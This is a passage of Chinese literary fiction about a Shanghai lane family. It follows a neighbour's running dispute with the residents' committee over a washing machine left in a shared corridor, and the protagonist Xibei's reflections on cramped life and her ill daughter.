这小小的改造，在邻里间引起了不小的羡慕。特别是隔壁同样住一室户的刘家阿嫂，看着西贝家阳台上的洗衣机，眼热得不行：“喔唷，西贝，侬屋里厢弄得来灵光！洗衣机摆阳台，又清爽又方便！是阿拉英嵘弄的啊？手真巧！”
西贝笑笑：“是厂里同事帮忙弄的。”
“哎哟，有技术的师傅就是好！”刘家阿嫂回家就跟自己男人闹，也想把洗衣机挪出去。可她男人是公交司机，不懂这些，请人又要花钱，只好作罢。但刘家阿嫂实在觉得洗衣机放屋里占地方，趁居委会不注意，偷偷把洗衣机推到了公共走廊的角落里。
没过两天，居委会负责卫生的孟阿姨就找上门了，指着走廊的洗衣机，板着脸：“刘家阿嫂，跟侬讲过多少趟了？公共走廊不好堆放杂物，影响通行，不美观，还有消防安全隐患！快点搬回去！”
刘家阿嫂赔着笑：“孟阿姨，就放两天，屋里厢实在转不开身……”
“一天都不行！今朝必须搬掉！不然我叫房管所的人来搬了！”孟阿姨态度坚决。
刘家阿嫂只好悻悻地把洗衣机挪回屋。可孟阿姨前脚走，后脚她看着逼仄的房间，心里那口气不顺，第二天，瞅着没人注意，又把洗衣机悄悄推回了走廊老位置。于是，这场“游击战”就成了弄堂里时常上演的戏码：居委会来查，搬回去；查过了，推出来。洗衣机像个沉默的桩子，杵在公共走廊，昭示着家家户户在有限空间里挣扎求存的那点无奈和狡黠。
西贝有时下班看到走廊里那台孤零零的洗衣机，会轻轻叹口气。她理解刘家阿嫂的不易，也明白居委会的难处。生活就是这样，在螺蛳壳里做道场，每个人都想为自己、为家人，多挣得一丝舒适的缝隙。而她能做的，不过是把自己的“道场”，尽力收拾得整齐些，温暖些，让放学归来的女儿，能在这个拥挤但洁净的小窝里，喘一口气，做一个不那么难受的梦。
日子，就在悠悠时好时坏的咳嗽声、体育课的旁观与“拍牌王”的短暂高光、西敏日益膨胀的消费欲和“老板娘”幻想、西桦为接回女儿在北京的奋力拼搏、以及弄堂里关于空间与琐碎的日常硝烟中，不紧不慢地流淌。窗外的梧桐，黄了又绿，绿了又黄。甘悠在门卫室等待的无数个黄昏，夕阳把她的影子拉长，又缩短，默默记录着一个孩子与疾病相伴的、坚韧的、充满了被忽略的失落与微小欢愉的童年。而在城市的另一个角落，她的小姨西敏，正对着一份不知从哪里弄来的简易“商业计划书”，描画着“海上明珠”的辉煌未来；她的姨妈西桦，则在千里之外的北京，为女儿的未来争取着一寸寸向上的空间。至于表姐韩璐，已然在母亲用金钱堆砌的宠爱里，早早嗅到了物质带来的甜美与权力；而表弟西召，还在懵懂中探索着这个对他而言充满惊奇（有时是惊悚）的世界。
每个人都在自己的轨道上，被时代的潮水推着，被家庭的经纬缠着，奔向各自或清晰或迷茫、或沉重或轻飘的前路。西贝紧紧牵着女儿微凉的手，走在回“体育馆”二楼那个小小家的路上。暮色四合，弄堂里的灯火渐次亮起，炒菜声、呼唤声、自行车铃声交织成一片温暖的嘈杂。这平常的人间烟火，对西贝母女而言，是历经艰难才能拥有的、必须用尽全力去守护的安宁。她知道，属于她们的“好日子”，从来不在那繁华的“海上明珠”里，也不在那遥远的京城楼宇中，而就在这掌心里牢牢握着的、此刻平稳的呼吸，和前方那扇即将被钥匙打开的、属于她们自己的、虽然狭小却可遮蔽风雨的门后。